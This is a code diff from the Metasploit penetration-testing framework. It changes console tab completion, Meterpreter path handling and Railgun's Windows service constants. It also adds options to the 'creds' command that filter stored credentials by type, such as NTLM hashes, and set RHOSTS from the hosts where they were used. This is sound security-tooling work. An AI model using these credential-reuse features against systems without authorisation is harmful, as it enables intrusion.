- when 'Msf::OptPath'
- files = tab_complete_filenames(str, words)
- res += files if files
+ when Msf::OptEnum
+ o.enums.each do |val|
+ res << val
+ end
- when 'Msf::OptBool'
- res << 'true'
- res << 'false'
+ when Msf::OptPath
+ files = tab_complete_filenames(str, words)
+ res += files if files
- when 'Msf::OptString'
- if (str =~ /^file:(.*)/)
- files = tab_complete_filenames($1, words)
- res += files.map { |f| "file:" + f } if files
- end
+ when Msf::OptBool
+ res << 'true'
+ res << 'false'
+
+ when Msf::OptString
+ if (str =~ /^file:(.*)/)
+ files = tab_complete_filenames($1, words)
+ res += files.map { |f| "file:" + f } if files
+ end
end
return res
diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index 8d20535feb..ee9a727cc1 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -68,6 +68,10 @@ class Db
]
end
+ def allowed_cred_types
+ %w(password ntlm hash)
+ end
+
#
# Returns true if the db is connected, prints an error and returns
# false if not.
@@ -676,6 +680,8 @@ class Db
print_line " -p,--port List creds with logins on services matching this port spec"
print_line " -s List creds matching comma-separated service names"
print_line " -u,--user List users that match this regex"
+ print_line " -t,--type List creds that match the following types: #{allowed_cred_types.join(',')}"
+ print_line " -R,--rhosts Set RHOSTS from the results of the search"
print_line
print_line "Examples, listing:"
@@ -683,6 +689,7 @@ class Db
print_line " creds 1.2.3.4/24 # nmap host specification"
print_line " creds -p 22-25,445 # nmap port specification"
print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services"
+ print_line " creds -t ntlm # All NTLM creds"
print_line
print_line
@@ -760,6 +767,9 @@ class Db
host_ranges = []
port_ranges = []
svcs = []
+ rhosts = []
+
+ set_rhosts = false
#cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ]
cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ]
@@ -806,6 +816,8 @@ class Db
end
when "-d"
mode = :delete
+ when '-R', '--rhosts'
+ set_rhosts = true
else
# Anything that wasn't an option is a host to search for
unless (arg_host_range(arg, host_ranges))
@@ -822,6 +834,20 @@ class Db
pass_regex = Regexp.compile(pass)
end
+ if ptype
+ type = case ptype
+ when 'password'
+ Metasploit::Credential::Password
+ when 'hash'
+ Metasploit::Credential::PasswordHash
+ when 'ntlm'
+ Metasploit::Credential::NTLMHash
+ else
+ print_error("Unrecognized credential type #{ptype} -- must be one of #{allowed_cred_types.join(',')}")
+ return
+ end
+ end
+
# normalize
ports = port_ranges.flatten.uniq
svcs.flatten!
@@ -839,6 +865,9 @@ class Db
query.each do |core|
+ # Exclude creds that don't match the given type
+ next if type.present? && !core.private.kind_of?(type)
+
# Exclude creds that don't match the given user
if user_regex.present? && !core.public.username.match(user_regex)
next
@@ -880,6 +909,7 @@ class Db
next
end
row = [ login.service.host.address ]
+ rhosts << login.service.host.address
if login.service.name.present?
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
else
@@ -908,7 +938,8 @@ class Db
::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) }
print_status("Wrote creds to #{output_file}")
end
-
+
+ set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
print_status("Deleted #{delete_count} creds") if delete_count > 0
}
end
diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb
index 0b862f8e61..710e364332 100644
--- a/lib/rapid7/nexpose.rb
+++ b/lib/rapid7/nexpose.rb
@@ -1291,7 +1291,7 @@ class Site
xml << ' '
@site_config.scanConfig.scanTriggers.each do |s|
- if (s.class.to_s == "Nexpose::AutoUpdate")
+ if s.kind_of?(Nexpose::AutoUpdate)
xml << ' '
end
end
diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb
index 8cc2b8e457..ab67096026 100644
--- a/lib/rex/post/meterpreter/client_core.rb
+++ b/lib/rex/post/meterpreter/client_core.rb
@@ -159,15 +159,13 @@ class ClientCore < Extension
path = MeterpreterBinaries.path(modname, client.binary_suffix)
if opts['ExtensionPath']
- path = opts['ExtensionPath']
+ path = ::File.expand_path(opts['ExtensionPath'])
end
if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
end
- path = ::File.expand_path(path)
-
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb
index ddd037c992..71575128f9 100644
--- a/lib/rex/post/meterpreter/extensions/priv/priv.rb
+++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb
@@ -50,8 +50,6 @@ class Priv < Extension
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
end
- elevator_path = ::File.expand_path( elevator_path )
-
elevator_data = ""
::File.open( elevator_path, "rb" ) { |f|
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
index b93d0b4eb1..0d68a51b15 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
@@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
alias delete rm
end
- #
- # Performs a rename from oldname to newname
- #
- def File.mv(oldname, newname)
+ #
+ # Performs a rename from oldname to newname
+ #
+ def File.mv(oldname, newname)
request = Packet.create_request('stdapi_fs_file_move')
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
@@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request)
return response
- end
+ end
- class << self
- alias move mv
- alias rename mv
- end
+ class << self
+ alias move mv
+ alias rename mv
+ end
#
# Upload one or more files to the remote remote directory supplied in
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb
index 5f8e237fdb..74395ec8b9 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb
@@ -370,7 +370,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000)
win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002)
win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009)
- win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA)
win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277)
win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103)
@@ -2357,7 +2356,70 @@ class ApiConstants
win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001)
win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF)
win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527)
+
+ # Generic Access Rights
win_const_mgr.add_const('GENERIC_ALL',0x10000000)
+ win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
+ win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
+ win_const_mgr.add_const('GENERIC_READ',0x80000000)
+
+
+ # Standard Access Rights
+ win_const_mgr.add_const('DELETE',0x00010000)
+ win_const_mgr.add_const('READ_CONTROL',0x00020000)
+ win_const_mgr.add_const('WRITE_DAC',0x00040000)
+ win_const_mgr.add_const('WRITE_OWNER',0x00080000)
+ win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
+
+ # Services
+ win_const_mgr.add_const('SERVICE_NO_CHANGE',0xFFFFFFFF)
+
+ # Service Start Types
+ win_const_mgr.add_const('START_TYPE_BOOT',0x00000000)
+ win_const_mgr.add_const('START_TYPE_SYSTEM',0x00000001)
+ win_const_mgr.add_const('START_TYPE_AUTO',0x00000002)
+ win_const_mgr.add_const('START_TYPE_MANUAL',0x00000003)
+ win_const_mgr.add_const('START_TYPE_DISABLED',0x00000004)
+
+ # Service States
+ win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
+ win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
+ win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
+ win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
+ win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
+ win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
+ win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
+
+ # Service Types
+ win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
+ win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
+ win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
+ win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
+ win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
+ win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
+
+ # Service Manager Permissions
+ win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
+ win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
+ win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
+ win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
+ win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
+ win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
+ win_const_mgr.add_const('SC_MANAGER_USER_DEFINED_CONTROL',0x00000100)
+ win_const_mgr.add_const('SC_MANAGER_ALL_ACCESS',0x000F003F)
+
+ # Service Permissions
+ win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
+ win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
+ win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
+ win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
+ win_const_mgr.add_const('SERVICE_START',0x00000010)
+ win_const_mgr.add_const('SERVICE_STOP',0x00000020)
+ win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
+ win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
+ win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
+ win_const_mgr.add_const('SERVICE_ALL_ACCESS',0x000F01FF)
+
win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003)
win_const_mgr.add_const('AVIIF_TWOCC',0x00000002)
win_const_mgr.add_const('TBTS_LEFT',0x00000001)
@@ -3408,7 +3470,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002)
win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001)
win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B)
- win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F)
win_const_mgr.add_const('DI_NEEDRESTART',0x00000080)
win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000)
@@ -4450,7 +4511,6 @@ class ApiConstants
win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000)
win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000)
win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000)
- win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004)
win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002)
win_const_mgr.add_const('CF_PALETTE',0x00000009)
@@ -5623,7 +5683,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F)
win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011)
win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100)
- win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2)
win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030)
win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D)
@@ -9255,7 +9314,6 @@ class ApiConstants
win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005)
win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000)
win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A)
- win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004)
win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A)
win_const_mgr.add_const('VTBIT_CY',0x00000001)
@@ -9859,7 +9917,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9)
win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001)
win_const_mgr.add_const('PP_PROVTYPE',0x00000010)
- win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
win_const_mgr.add_const('MWMO_WAITALL',0x00000001)
win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000)
win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3)
@@ -10819,7 +10876,6 @@ class ApiConstants
win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000)
win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004)
win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080)
- win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010)
win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001)
win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006)
@@ -11675,7 +11731,6 @@ class ApiConstants
win_const_mgr.add_const('PORT_UAAC',0x00000091)
win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010)
win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001)
- win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
win_const_mgr.add_const('NUMPRS_PARENS',0x00000080)
win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200)
win_const_mgr.add_const('SQL_HC_OFF',0x00000000)
@@ -11965,7 +12020,6 @@ class ApiConstants
win_const_mgr.add_const('MCI_WAIT',0x00000002)
win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025)
win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE)
- win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A)
win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002)
win_const_mgr.add_const('XECR_PKCS7',0x00000002)
@@ -12173,7 +12227,6 @@ class ApiConstants
win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000)
win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D)
win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026)
- win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014)
win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA)
win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000)
@@ -12243,7 +12296,6 @@ class ApiConstants
win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F)
win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5)
win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE)
- win_const_mgr.add_const('DELETE',0x00010000)
win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003)
win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65)
win_const_mgr.add_const('OE_SETTING',0x00000004)
@@ -12431,7 +12483,7 @@ class ApiConstants
win_const_mgr.add_const('ET_DITHERMODE',0x00000004)
win_const_mgr.add_const('AA_A_ACL',0x00008000)
win_const_mgr.add_const('MCI_UPDATE',0x00000854)
- win_const_mgr.add_const('READ_CONTROL',0x00020000)
+
win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157)
win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961)
win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000)
@@ -12739,7 +12791,6 @@ class ApiConstants
win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008)
win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002)
win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002)
- win_const_mgr.add_const('SERVICE_STOP',0x00000020)
win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002)
win_const_mgr.add_const('MAX_LANA',0x000000FE)
win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC)
@@ -14732,7 +14783,6 @@ class ApiConstants
win_const_mgr.add_const('CDIS_GRAYED',0x00000002)
win_const_mgr.add_const('DISPID_QUIT',0x00000067)
win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002)
- win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001)
win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000)
win_const_mgr.add_const('PORT_WPGS',0x0000030C)
@@ -15353,7 +15403,6 @@ class ApiConstants
win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002)
win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071)
win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004)
- win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026)
win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206)
win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D)
@@ -15754,7 +15803,6 @@ class ApiConstants
win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF)
win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011)
win_const_mgr.add_const('UINT8_MAX',0x00000000)
- win_const_mgr.add_const('SERVICE_NO_CHANGE',0x00000000)
win_const_mgr.add_const('AE_SRVCONT',0x00000002)
win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789)
win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D)
@@ -16075,7 +16123,6 @@ class ApiConstants
win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D)
win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001)
win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000)
- win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7)
win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930)
win_const_mgr.add_const('RF_LATTICE',0x00000800)
@@ -17110,7 +17157,6 @@ class ApiConstants
win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008)
win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192)
win_const_mgr.add_const('SQL_TL_ON',0x00000001)
- win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000)
win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A)
win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011)
@@ -18538,7 +18584,6 @@ class ApiConstants
win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002)
win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200)
win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000)
- win_const_mgr.add_const('WRITE_DAC',0x00040000)
win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000)
win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002)
win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001)
@@ -20372,7 +20417,6 @@ class ApiConstants
win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001)
win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A)
win_const_mgr.add_const('TVC_UNKNOWN',0x00000000)
- win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264)
win_const_mgr.add_const('PARTID_MASK',0x00000000)
win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100)
@@ -20721,7 +20765,6 @@ class ApiConstants
win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100)
win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000)
win_const_mgr.add_const('LANG_SINDHI',0x00000059)
- win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF)
win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000)
win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000)
@@ -20938,7 +20981,6 @@ class ApiConstants
win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020)
win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204)
win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040)
- win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004)
win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004)
win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4)
@@ -21904,7 +21946,6 @@ class ApiConstants
win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001)
win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003)
win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400)
- win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200)
win_const_mgr.add_const('EMR_BITBLT',0x0000004C)
win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000)
@@ -23291,7 +23332,6 @@ class ApiConstants
win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000)
win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003)
win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100)
- win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000)
win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED)
win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000)
@@ -23830,7 +23870,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002)
win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001)
win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020)
- win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003)
win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0)
win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02)
@@ -24022,7 +24061,6 @@ class ApiConstants
win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000)
win_const_mgr.add_const('WM_COMPACTING',0x00000041)
win_const_mgr.add_const('EXITPUB_FILE',0x00000001)
- win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080)
win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001)
win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002)
@@ -24229,7 +24267,6 @@ class ApiConstants
win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000)
win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000)
win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002)
- win_const_mgr.add_const('SERVICE_START',0x00000010)
win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E)
win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001)
win_const_mgr.add_const('GESTURE_INFINITY',0x00000000)
@@ -24327,7 +24364,6 @@ class ApiConstants
win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000)
win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003)
win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001)
- win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001)
win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004)
win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004)
@@ -24628,7 +24664,6 @@ class ApiConstants
win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025)
win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008)
win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005)
- win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
win_const_mgr.add_const('JIFMK_FF',0x0000FFFF)
win_const_mgr.add_const('DFCS_HOT',0x00001000)
win_const_mgr.add_const('SI_CONTAINER',0x00000004)
@@ -25917,7 +25952,6 @@ class ApiConstants
win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020)
win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000)
win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000)
- win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020)
win_const_mgr.add_const('FEI_SENDING',0x00000002)
win_const_mgr.add_const('DOF_PROGMAN',0x00000001)
@@ -29144,7 +29178,6 @@ class ApiConstants
win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001)
win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5)
win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010)
- win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000)
win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004)
win_const_mgr.add_const('TMT_BTNTEXT',0x00000653)
@@ -30370,7 +30403,6 @@ class ApiConstants
win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000)
win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005)
win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005)
- win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E)
win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000)
win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004)
@@ -32077,7 +32109,6 @@ class ApiConstants
win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721)
win_const_mgr.add_const('IPPORT_ECHO',0x00000007)
win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000)
- win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010)
win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000)
win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040)
@@ -33167,7 +33198,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011)
win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B)
win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066)
- win_const_mgr.add_const('WRITE_OWNER',0x00080000)
win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000)
win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005)
